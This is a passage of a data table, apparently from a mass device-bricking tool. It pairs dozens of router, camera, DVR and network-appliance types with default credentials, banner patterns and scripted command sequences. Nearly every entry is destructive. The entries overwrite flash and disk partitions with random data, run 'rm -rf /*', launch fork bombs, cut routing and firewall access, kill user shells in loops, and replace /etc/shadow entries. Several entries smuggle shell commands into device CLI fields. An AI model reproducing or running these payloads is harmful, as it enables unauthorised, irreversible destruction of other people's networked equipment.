'%OLDPASS%' , '[>#] ' ,
'erase startup-config' , 'filesystem' ,
'y' , '[>#] ' ,
'banner HACKED' , '[>#] ' ,
'reboot' , 'system' ,
'y' , '[>#] ' ,
] ,
[ 'dlinkbroke' , '.*' , 'DLINK-WLAN-AP' ,
'set `cat /dev/urandom >/dev/mtdblock5 &`' , '[#>] ' ,
'set `cat /dev/urandom >/dev/mtdblock4 &`' , '[#>] ' ,
'set `cat /dev/urandom >/dev/mtdblock3 &`' , '[#>] ' ,
'set `cat /dev/urandom >/dev/mtdblock2 &`' , '[#>] ' ,
'set `cat /dev/urandom >/dev/mtdblock1 &`' , '[#>] ' ,
'set `cat /dev/urandom >/dev/mtdblock0 &`' , '[#>] ' ,
'set `cat /dev/urandom >/dev/root &`' , '[#>] ' ,
'set `route del default`' , '%WAIT%' ,
'reboot' , '[#>] ' ,
] ,
[ 'dgsdlink' , '.*' , 'DGS\-1\d+' ,
'reset config' , '[>#] ' ,
] ,
[ 'nateks' , '.*' , 'fmm.*Fault\sand\s+maintenance\smanagement' ,
'3' , '[>#] ' ,
'8' , 'configuration.*no' ,
'yes' , '[>#] ' ,
] ,
[ 'kingtype' , '.*' , '(Kingtype\sCONSOLE\sOS|Unknown command:\sls\s-alF\s\/etc\/)' ,
'enable' , '[>#] ' ,
'configure terminal' , '[>#] ' ,
'hostname HACKED' , '[>#] ' ,
'write' , 'y/n' ,
'y' , '[>#] ' ,
'exit' , '[>#] ' ,
'tftp download config-file `poweroff` 1.2.3.4' , '[>#] ' ,
] ,
[ 'hpipmi' , '.*' , '\/\.\/-> ' ,
'cd /system1/led1' , '[>#] ' ,
'set led1 enabledstate=enabled' , '[>#] ' ,
'cd /system1' , '[>#] ' ,
'stop /system1 -force' , '[>#] ' ,
'stop /system1' , '[>#] ' ,
'cd ..' , '[>#] ' ,
'cd map1' , '[>#] ' ,
'cd nic1' , '[>#] ' ,
'set oemhp_hostname=HACKED' , '[>#] ' ,
'set oemhp_nonvol_networkaddress=1.2.3.4' , '[>#] ' ,
'set networkaddress=1.2.3.4' , '[>#] ' ,
] ,
[ 'hpmp' , '.*' , '\*\*\* Invalid Selection \*\*\*' ,
'cm' , '[#>] ' ,
'pc -off' , 'Confirm\?' ,
'y' , '[#>] ' ,
'mr' , 'modem\?' ,
'y' , '[#>] ' ,
'dns -all default' , 'Confirm\?' ,
'y' , '[#>] ' ,
'lc -ip 1.2.3.4 -subnet 255.255.255.0 -gateway 1.2.3.5' , 'Confirm\?' ,
'y' , '[#>] ' ,
] ,
[ 'multiqb' , '.*' , '(MultiQb login|multiqb\.com|quiqnet\.com)' ,
'enable' , '[#>] ' ,
'erase' , 'Yes.*No' ,
'y' , '[#>] ' ,
] ,
[ 'hiper' , '.*' , 'Saving configuration\.\.\.' ,
'clear nvram' , '[%#>] ' ,
'clear running-config' , '[%#>] ' ,
'clear ip dhcp server' , '[%#>] ' ,
'reload' , 'y/n' ,
'y' , 'Restart' ,
] ,
[ 'maipu' , '.*' , 'Error.*Command\s\"w\"\sisn\St\ssupported!' ,
'timesvc server del all' , 'y/n' ,
'y' , '' ,
'' , '[#>] ' ,
'timesvc interval set 1' , '[#>] ' ,
'timesvc server add `reboot`' , '[#>] ' ,
'timesvc start' , '[#>] ' ,
'write' , '[#>] ' ,
'reload' , 'Y/N\S:' ,
'y' , 'Y/N\S:' ,
'y' , 'rebooting' ,
] ,
[ 'protei' , '.*' , 'No such command for mini_?shell' ,
'restore_config && cat /dev/urandom>/dev/mtdblock3 &' , 'shell>' ,
'restore_config && cat /dev/urandom>/dev/mtdblock7 &' , 'shell>' ,
'restore_config && cat /dev/urandom>/dev/mtdblock0 &' , 'shell>' ,
'restore_config && cat /dev/urandom>/dev/mtdblock1 &' , 'shell>' ,
'restore_config && cat /dev/urandom>/dev/mtdblock2 &' , 'shell>' ,
'restore_config && cat /dev/urandom>/dev/mtdblock4 &' , 'shell>' ,
'restore_config && cat /dev/urandom>/dev/mtdblock5 &' , 'shell>' ,
'restore_config && cat /dev/urandom>/dev/mtdblock6 &' , 'shell>' ,
'restore_config && route del default' , 'shell>' ,
] ,
[ 'netscreen' , '.*' , '---unknown keyword cat' ,
"set hostname HACKED\nsave" , '> ' ,
'get interface' , '> ' ,
"set interface trust ip 1.2.3.4/24\nsave" , '> ' ,
"set interface ethernet0/6 ip 1.2.4.4/24\nsave" , '> ' ,
"set interface bgroup0 ip 1.2.5.4/24\nsave" , '> ' ,
"set interface ethernet0/5 ip 1.2.6.4/24\nsave" , '> ' ,
"set interface ethernet0/4 ip 1.2.7.4/24\nsave" , '> ' ,
"set interface ethernet0/3 ip 1.2.8.4/24\nsave" , '> ' ,
"set interface ethernet0/2 ip 1.2.9.4/24\nsave" , '> ' ,
"set interface ethernet0/1 ip 1.2.10.4/24\nsave" , '> ' ,
"set interface untrust ip 1.2.11.4/24\nsave" , '> ' ,
"set interface ethernet0/0 ip 1.2.12.4/24\nsave" , '> ' ,
"set interface ethernet1 ip 1.2.1.4/24\nsave" , '> ' ,
"set interface ethernet2 ip 1.2.2.4/24\nsave" , '> ' ,
"set interface ethernet3 ip 1.2.3.4/24\nsave" , '> ' ,
"set interface ethernet4 ip 1.2.4.4/24\nsave" , '> ' ,
"set interface ethernet5 ip 1.2.5.4/24\nsave" , '> ' ,
"set interface ethernet6 ip 1.2.6.4/24\nsave" , '> ' ,
"set interface ethernet7 ip 1.2.7.4/24\nsave" , '> ' ,
"set interface ethernet8 ip 1.2.8.4/24\nsave" , '> ' ,
"set interface tun.3 ip 1.2.15.4/24\nsave" , '> ' ,
"set interface tun.2 ip 1.2.16.4/24\nsave" , '> ' ,
"set interface tun.1 ip 1.2.17.4/24\nsave" , '> ' ,
"set interface adsl2/0 ip 1.2.13.4/24\nsave" , '> ' ,
"set interface adsl1/0 ip 1.2.14.4/24\nsave" , '> ' ,
] ,
[ 'idirect' , '.*' , 'UCLI:\/\$' ,
'demo reset' , '[#>\$] ' ,
'demo start' , '[#>\$] ' ,
'satellite ele_cut_off 25' , '[#>\$] ' ,
'zone 1 active no' , '[#>\$] ' ,
'zone 2 active no' , '[#>\$] ' ,
'zone 3 active no' , '[#>\$] ' ,
'zone 4 active no' , '[#>\$] ' ,
'zone 5 active no' , '[#>\$] ' ,
'zone 6 active no' , '[#>\$] ' ,
'zone 7 active no' , '[#>\$] ' ,
'zone 8 active no' , '[#>\$] ' ,
'config activate' , '[#>\$] ' ,
'demo reset' , '[#>\$] ' ,
'demo start' , '[#>\$] ' ,
] ,
[ 'avaya' , '.*' , 'Next possible match:' ,
'enable' , '[#>] ' ,
'erase legacy-configs' , '[#>] ' ,
'erase scripts' , '[#>] ' ,
'erase startup-config' , '[#>] ' ,
'legacy-cli' , '[#>] ' ,
'nvram initialize' , '[#>] ' ,
'exit' , '[#>] ' ,
'reset' , 'Y/N' ,
'n' , 'Y/N' ,
'y' , '[#>] ' ,
'reset' , 'Y/N' ,
'y' , '' ,
] ,
[ 'extxos' , '.*' , 'Extreme Networks' ,
'disable web https' , '[>#] ' ,
'disable web http' , '[>#] ' ,
'save' , 'y/N' ,
'y' , '[>#] ' ,
'disable ports all\nsave\ny' , '[>#] ' ,
'y' , '[>#] ' ,
'save' , 'y/N' ,
'y' , '[>#] ' ,
'disable telnet\nsave\ny' , '' ,
'y' , '' ,
'save' , 'y/N' ,
'y' , '[>#] ' ,
] ,
[ 'openwrt' , 'root/OPENWRTBLANK' , '' ,
'df' , 'root\S+# ' ,
'cat /dev/urandom >/dev/mtdblock3 &' , 'root\S+# ' ,
'cat /dev/urandom >/dev/mtd3 &' , 'root\S+# ' ,
'cat /dev/urandom >/dev/root &' , 'root\S+# ' ,
'cat /dev/urandom >/dev/mtdblock2 &' , 'root\S+# ' ,
'cat /dev/urandom >/dev/mtd2 &' , 'root\S+# ' ,
'cat /dev/urandom >/dev/mtdblock1 &' , 'root\S+# ' ,
'cat /dev/urandom >/dev/mtd1 &' , 'root\S+# ' ,
'cat /dev/urandom >/dev/mtdblock0 &' , 'root\S+# ' ,
'cat /dev/urandom >/dev/mtd0 &' , 'root\S+# ' ,
'cat /dev/urandom >/dev/mtdblock4 &' , 'root\S+# ' ,
'cat /dev/urandom >/dev/mtdblock5 &' , 'root\S+# ' ,
'cat /dev/urandom >/dev/mtdblock6 &' , 'root\S+# ' ,
'cat /dev/urandom >/dev/mtdblock7 &' , 'root\S+# ' ,
'route del default' , '%WAIT%' ,
'reboot' , 'root\S+# ' ,
] ,
[ "p661" , ".*" , 'Linux\sP-661.*' ,
'flash_unlock' , '' ,
'flash_unlock /dev/mtd0' , '' ,
'flash_eraseall /dev/mtd0 &' , '' ,
'ftl_format /dev/mtd0 &' , '' ,
'ftl_format /dev/mtd1 &' , '' ,
'ftl_format /dev/mtd2 &' , '' ,
'ftl_format /dev/mtd3 &' , '' ,
'ftl_format /dev/mtd4 &' , '' ,
'rfdformat /dev/mtd0 &' , '' ,
'rfdformat /dev/mtd1 &' , '' ,
'rfdformat /dev/mtd2 &' , '' ,
'rfdformat /dev/mtd3 &' , '' ,
'rfdformat /dev/mtd4 &' , '' ,
'route del default;iproute del default;rm -rf /* 2>/dev/null &' , '[#$>] ' ,
'iptables -F;iptables -t nat -F;iptables -A OUTPUT -j DROP' , '%WAIT% ' ,
'd(){ d|d & };d' , '[#$>] ' ,
'sysctl -w net.ipv4.tcp_timestamps=0;sysctl -w kernel.threads-max=1' , '%WAIT% ' ,
'halt -n -f' , '[#$>] ' ,
'reboot' , '[#$>] ' ,
] ,
[ "fusion" , ".*" , 'FUSION-LTE.*admin' ,
'passwd' , 'Old password: ' ,
'%OLDPASS%' , 'New password: ' ,
'%NEWPASS%' , 'Retype password: " ' ,
'%NEWPASS%' , '[#$>] ' ,
'cat /etc/shadow' , '[#$>] ' ,
'd(){ d|d & };d' , '%TERM%' ,
] ,
[ 'tudc' , 'admin/admin' , '(DC-5\d00|FR30\d\d|V5-5\d00|RG-ACE|NB-2\d00)' ,
'net traceroute 127.0.0.1 ;sh' , 'address:' ,
' ' , '[#$>] ' ,
' ' , '[#$>] ' ,
' ' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/root' , '[#$>] ' ,
' ' , '[#$>] ' ,
'ip route del default' , '[#$>] ' ,
' ' , '[#$>] ' ,
'd() { d|d & }; d' , '[#$>] ' ,
' ' , '[#$>] ' ,
] ,
[ "dm365" , ".*" , 'Linux dm365' ,
'telnet localhost' , 'login: ' ,
'root' , 'Password: ' ,
'radiant' , '[#$] ' ,
"fdisk /dev/mtd6" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk /dev/mtd7" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk /dev/mtd8" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
'rm -rf /* 2>/dev/null &' , '[#$] ' ,
'route del default;iproute del default' , '[#$] ' ,
] ,
[ "dm365" , ".*" , 'Linux ENC' ,
'telnet localhost' , 'login: ' ,
'root' , 'Password: ' ,
'radiant' , '[#$] ' ,
"fdisk /dev/mtd6" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk /dev/mtd7" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk /dev/mtd8" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
'rm -rf /* 2>/dev/null &' , '[#$] ' ,
'route del default;iproute del default' , '[#$] ' ,
] ,
[ "srx" , ".*" , 'SRX\d\d\d\d.*wuname' ,
"\x03\x03util restore_factory_defaults" , "Y/N\S*?" ,
"y" , '%TERM%' ,
] ,
[ "srxlike" , ".*" , '\S\d\d.*wuname-a' ,
"\x03\x03util restore_factory_defaults" , "Y/N\S*?" ,
"y" , '%TERM%' ,
] ,
[
"zysh" , ".*" , 'ZySH> ' ,
"?" , "SH>" ,
] ,
[ 'adsl2plus' , '.*' , '(ADSL2PlusRouter login|Welcome to Login)' ,
'' , '' ,
'' , '' ,
'system reset' , '' ,
'' , '> ' ,
'' , '> ' ,
'' , '> ' ,
] ,
[ "kicc" , ".*" , '0RU54ozt\SEXeK8sW9TQaOFRxkJ4rvI' ,
'telnet localhost' , 'login: ' ,
'root' , 'Password: ' ,
'upsups' , '[#$] ' ,
"fdisk /dev/mtd0" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk /dev/mtd1" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk /dev/mtd2" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk /dev/mtd3" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk /dev/mtd4" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
'route del default;rm -rf /* 2>/dev/null &' , '%TERM%' ,
] ,
[ "kicc" , ".*" , 'y3olkb5BzsLZ1ZbovcECW1' ,
'telnet localhost' , 'login: ' ,
'root' , 'Password: ' ,
'kicc123' , '[#$] ' ,
"fdisk /dev/mtd0" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk /dev/mtd1" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk /dev/mtd2" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk /dev/mtd3" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk /dev/mtd4" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
'route del default;rm -rf /* 2>/dev/null &' , '%WAIT%' ,
'while [ 1 ]; do echo test; d() { d | d & }; d; sleep 10; done &' , '%TERM%' ,
] ,
[ 'artila' , 'guest/guest' , 'guest@M5' ,
'while [ 1 ]; do echo test; ps aux | grep "guest" | grep -v "sh" | grep -v "ps aux" | grep -v "grep" | grep -v "awk" | grep -v "xargs" | awk \'{print $2}\' | xargs kill -9; done &' , '%TERM%' ,
] ,
[ "freescale" , "user/user" , 'user@freescale' ,
"ash" , '[#$>] ' ,
'while [ 1 ]; do echo test; ps | grep "user" | grep -v "ash" | grep -v " ps " | grep -v "grep" | grep -v "awk" | grep -v "xargs" | awk \'{print $1}\' | xargs kill -9; done &' , '[#$>] ' ,
] ,
[ 'matrix' , '.*' , '@Matrix-.*VR' ,
'ash' , '[#$>] ' ,
'while [ 1 ]; do echo test; kill `ps aux | grep "admin" | grep -v "ash" | grep -v "ps aux" | grep -v "grep" | grep -v "awk" | awk \'{print $2}\'`; done &' , '[#$>] ' ,
'while [ 1 ]; do echo test; killall -9 sh; done &' , '[#$>] ' ,
] ,
[ 'merit' , 'admin/1111' , 'Linux NVR' ,
'ash' , '[#$>] ' ,
'while [ 1 ]; do echo test; kill `ps aux | grep "admin" | grep -v "ash" | grep -v "ps aux" | grep -v "grep" | grep -v "awk" | awk \'{print $1}\'`; done &' , '[#$>] ' ,
'while [ 1 ]; do echo test; killall -9 sh; done &' , '[#$>] ' ,
] ,
[ 'merit' , 'admin/1111' , '(Linux DVR|Welcome to DVR Series)' ,
'ash' , '[#$>] ' ,
'while [ 1 ]; do echo test; kill `ps w | grep "admin" | grep -v "ash" | grep -v "ps w" | grep -v "grep" | grep -v "awk" | awk \'{print $1}\'`; done &' , '[#$>] ' ,
'while [ 1 ]; do echo test; killall -9 sh; done &' , '[#$>] ' ,
] ,
[ 'openwrt' , 'user/user' , 'user@\S+:~\$' ,
'ps | grep "user" | grep -v `echo $$` | grep -v " ps " | grep -v "grep" | grep -v "awk" | grep -v "xargs" | awk \'{print $1}\' | xargs kill -9' , '[#$>] ' ,
'cat /etc/passwd' , '[#$>] ' ,
'sh' , '[#$>] ' ,
'while [ 1 ]; do echo test; ps | grep "user" | grep -v " sh " | grep -v " ps " | grep -v "grep" | grep -v "awk" | grep -v "xargs" | awk \'{print $1}\' | xargs kill -9; done &' , '[#$>] ' ,
] ,
[ 'avahi' , 'guest/guest' , 'avahi' ,
'ash' , '[#$>] ' ,
'cat /etc/shadow' , '[#$>] ' ,
'while [ 1 ]; do echo test; ps | grep "1000" | grep -v "ash" | grep -v " ps " | grep -v "grep" | grep -v "awk" | grep -v "xargs" | awk \'{print $1}\' | xargs kill -9; done &' , '[#$>] ' ,
] ,
[ 'cnaim' , '.*' , 'Error: Invalid input' ,
'net ip lan 127.0.0.1\nsave\nping ;cp${IFS}/dev/urandom${IFS}/dev/mtdblock0&&' , '[#$>] ' ,
] ,
[ 'sathesh' , 'root/root' , 'sathesh:TJ06VabosxcTg' ,
'ls -al /sbin/' , '[#$>] ' ,
'fdisk -l' , '[#$>] ' ,
'df' , '[#$>] ' ,
'route del default;iproute del default;rm -rf /* 2>/dev/null &' , '[#$>] ' ,
'iptables -F;iptables -t nat -F;iptables -A OUTPUT -j DROP' , '%TERM%' ,
] ,
[ 'mini' , '.*' , 'Linux MI-MINI' ,
'dd if=/dev/urandom of=/dev/mtdblock0 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock1 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock2 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock3 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock4 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock5 &' , '' ,
'dd if=/dev/urandom of=/dev/root &' , '' ,
'dd if=/dev/urandom of=/dev/ram0 &' , '%WAIT%' ,
'route del default;rm -rf /* &' , '%TERM%' ,
] ,
[ 'tvr' , '.*' , 'admin@TVR' ,
'su root' , '[#$>] ' ,
'df' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/hda1 &' , '' ,
'dd if=/dev/urandom of=/dev/hdb1 &' , '' ,
'dd if=/dev/urandom of=/dev/mtd0 &' , '' ,
'dd if=/dev/urandom of=/dev/mtd1 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock4 &' , '' ,
'route del default;dd if=/dev/urandom of=/dev/ram0 &' , '[#$>] ' ,
'rm -rf /mtd0/* &' , '%WAIT%' ,
'd(){ d|d & };d' , '%TERM%' ,
] ,
[ 'avc' , '.*' , 'APPCOM:' ,
'shell' , '[#$>] ' ,
'df' , '[#$>] ' ,
'cat /dev/urandom >/dev/hda &' , '' ,
'cat /dev/urandom >/dev/hda1 &' , '' ,
'cat /dev/urandom >/dev/hda2 &' , '' ,
'cat /dev/urandom >/dev/hda3 &' , '' ,
'cat /dev/urandom >/dev/hda4 &' , '' ,
'route del default;rm -rf / 2>/dev/null &' , '%WAIT%' ,
'd() { d | d & }; d 2>/dev/null' , '%TERM%' ,
] ,
[ 'hikvision' , 'root/.*' , 'hikvision' ,
'su root' , 'Password: ' ,
'%OLDPASS%' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/sda &' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/sdb &' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/mtdblock0 &' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/mtdblock1 &' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/mtdblock2 &' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/mtd0 &' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/mtd1 &' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/mtd2 &' , '%WAIT%' ,
'dd if=/dev/urandom of=/dev/root &' , '[#$>] ' ,
'route del default;dd if=/dev/urandom of=/dev/ram0 &' , '%WAIT%' ,
] ,
[ 'hikvision' , 'root/hikvision' , '.*' ,
'su root' , 'Password: ' ,
'%OLDPASS%' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/sda &' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/sdb &' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/mtdblock0 &' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/mtdblock1 &' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/mtdblock2 &' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/mtd0 &' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/mtd1 &' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/mtd2 &' , '%WAIT%' ,
'dd if=/dev/urandom of=/dev/root &' , '[#$>] ' ,
'route del default;dd if=/dev/urandom of=/dev/ram0 &' , '%WAIT%' ,
] ,
[ 'hikvision' , '.*' , 'hikvision' ,
'echo HAKVISION >/home/hik/hicore.tar.gz' , '[#$>] ' ,
'echo HAKVISION >/home/hik/uImage' , '[#$>] ' ,
'echo dd if=/dev/urandom of=/dev/mtdblock0 >/home/hik/start.sh' , '[#$>] ' ,
'echo dd if=/dev/urandom of=/dev/mtdblock1 >>/home/hik/start.sh' , '[#$>] ' ,
'echo dd if=/dev/urandom of=/dev/mtdblock2 >>/home/hik/start.sh' , '[#$>] ' ,
'echo reboot >>/home/hik/start.sh' , '[#$>] ' ,
'echo HAKVISION >/home/hik/webs.tar.gz' , '[#$>] ' ,
'echo HAKVISION >/home/hik/hicore.tar.lzma' , '[#$>] ' ,
'echo root:\$1\$ChRPh3ur\$Yy6bjTErRXoajEZ1jao79/:14194:0:99999:7::: >/etc/shadow' , '[#$>] ' ,
'echo hikvision:\$1\$ChRPh3ur\$Yy6bjTErRXoajEZ1jao79/:14194:0:99999:7::: >>/etc/shadow' , '[#$>] ' ,
'd() { echo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; d|d & };d 2>>/%NEWPASS% >>/%NEWPASS%2' , '[#$>] ' ,
'd() { echo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; d|d & };d 2>>/home/app/%NEWPASS% >>/home/app/%NEWPASS%2' , '[#$>] ' ,
'd() { echo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; d|d & };d 2>>/tmp/%NEWPASS% >>/tmp/%NEWPASS%2' , '[#$>] ' ,
'while [ 1 ]; do cat /%NEWPASS% >>/%NEWPASS%3; cat /%NEWPASS%2 >>/%NEWPASS%3 done &' , '[#$>] ' ,
] ,
[ 'hikvision' , 'hikvision/.*' , '.*' ,
'echo HAKVISION >/home/hik/hicore.tar.gz' , '[#$>] ' ,
'echo HAKVISION >/home/hik/uImage' , '[#$>] ' ,
'echo dd if=/dev/urandom of=/dev/mtdblock0 >/home/hik/start.sh' , '[#$>] ' ,
'echo dd if=/dev/urandom of=/dev/mtdblock1 >>/home/hik/start.sh' , '[#$>] ' ,
'echo dd if=/dev/urandom of=/dev/mtdblock2 >>/home/hik/start.sh' , '[#$>] ' ,
'echo reboot >>/home/hik/start.sh' , '[#$>] ' ,
'echo HAKVISION >/home/hik/webs.tar.gz' , '[#$>] ' ,
'echo HAKVISION >/home/hik/hicore.tar.lzma' , '[#$>] ' ,
'echo root:\$1\$ChRPh3ur\$Yy6bjTErRXoajEZ1jao79/:14194:0:99999:7::: >/etc/shadow' , '[#$>] ' ,
'echo hikvision:\$1\$ChRPh3ur\$Yy6bjTErRXoajEZ1jao79/:14194:0:99999:7::: >>/etc/shadow' , '[#$>] ' ,
'd() { echo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; d|d & };d 2>>/%NEWPASS% >>/%NEWPASS%2' , '[#$>] ' ,
'd() { echo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; d|d & };d 2>>/home/app/%NEWPASS% >>/home/app/%NEWPASS%2' , '[#$>] ' ,
'd() { echo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; d|d & };d 2>>/tmp/%NEWPASS% >>/tmp/%NEWPASS%2' , '[#$>] ' ,
'while [ 1 ]; do cat /%NEWPASS% >>/%NEWPASS%3; cat /%NEWPASS%2 >>/%NEWPASS%3 done &' , '[#$>] ' ,
'%RELAUNCH2%' , '%RELAUNCH2%' ,
] ,
[ 'hikvision' , 'guest/.*' , 'dvrdvs' ,
'echo HAKVISION >/home/hik/hicore.tar.gz' , '[#$>] ' ,
'echo HAKVISION >/home/hik/uImage' , '[#$>] ' ,
'echo dd if=/dev/urandom of=/dev/mtdblock0 >/home/hik/start.sh' , '[#$>] ' ,
'echo dd if=/dev/urandom of=/dev/mtdblock1 >>/home/hik/start.sh' , '[#$>] ' ,
'echo dd if=/dev/urandom of=/dev/mtdblock2 >>/home/hik/start.sh' , '[#$>] ' ,
'echo reboot >>/home/hik/start.sh' , '[#$>] ' ,
'echo HAKVISION >/home/hik/webs.tar.gz' , '[#$>] ' ,
'echo HAKVISION >/home/hik/hicore.tar.lzma' , '[#$>] ' ,
'echo root:\$1\$ChRPh3ur\$Yy6bjTErRXoajEZ1jao79/:14194:0:99999:7::: >/etc/shadow' , '[#$>] ' ,
'echo hikvision:\$1\$ChRPh3ur\$Yy6bjTErRXoajEZ1jao79/:14194:0:99999:7::: >>/etc/shadow' , '[#$>] ' ,
'd() { echo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; d|d & };d 2>>/%NEWPASS% >>/%NEWPASS%2' , '[#$>] ' ,
'd() { echo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; d|d & };d 2>>/home/app/%NEWPASS% >>/home/app/%NEWPASS%2' , '[#$>] ' ,
'd() { echo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; d|d & };d 2>>/tmp/%NEWPASS% >>/tmp/%NEWPASS%2' , '[#$>] ' ,
'while [ 1 ]; do cat /%NEWPASS% >>/%NEWPASS%3; cat /%NEWPASS%2 >>/%NEWPASS%3 done &' , '[#$>] ' ,
] ,
[ 'slave' , '.*' , 'Invalid command!' ,
'enable' , 'assword: ' ,
'%OLDPASS%' , '[#$>] ' ,
'enable' , '[#$>:] ' ,
'admin' , '[#$>:] ' ,
'system' , '[#$>] ' ,
'sh' , '[#$>] ' ,
'df' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/mtdblock3 &' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/mtdblock0;dd if=/dev/urandom of=/dev/mtdblock1;dd if=/dev/urandom of=/dev/mtdblock2 &' , '[#$>] ' ,
'route del default;iptables -A INPUT -j DROP' , '%TERM%' ,
] ,
[ 'zhone' , 'admin/zhone' , '' ,
'enable' , '[#$>] ' ,
'development' , '[#$>] ' ,
'sh' , '[#$>] ' ,
'cat /dev/urandom >/dev/mtd0 &' , '' ,
'cat /dev/urandom >/dev/mtd1 &' , '' ,
'cat /dev/urandom >/dev/mtd2 &' , '' ,
'cat /dev/urandom >/dev/mtd3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'cat /dev/urandom >/dev/root &' , '' ,
'cat /etc/passwd' , '' ,
'passwd' , 'New password: ' ,
'%NEWPASS%' , 'Retype password: " ' ,
'%NEWPASS%' , '[#$>] ' ,
'passwd admin' , 'New password: ' ,
'%NEWPASS%' , 'Retype password: " ' ,
'%NEWPASS%' , '[#$>] ' ,
'passwd user' , 'New password: ' ,
'%NEWPASS%' , 'Retype password: " ' ,
'%NEWPASS%' , '[#$>] ' ,
'passwd manufacturing' , 'New password: ' ,
'%NEWPASS%' , 'Retype password: " ' ,
'%NEWPASS%' , '[#$>] ' ,
'passwd nobody' , 'New password: ' ,
'%NEWPASS%' , 'Retype password: " ' ,
'%NEWPASS%' , '[#$>] ' ,
'route del default' , '[#$>] ' ,
'iptables -A OUTPUT -j DROP' , '[#$>] ' ,
'set2default' , ': ' ,
'yes' , ': ' ,
'yes' , 'yes\S ' ,
'no' , 'no\S ' ,
'yes' , 'accordingly' ,
] ,
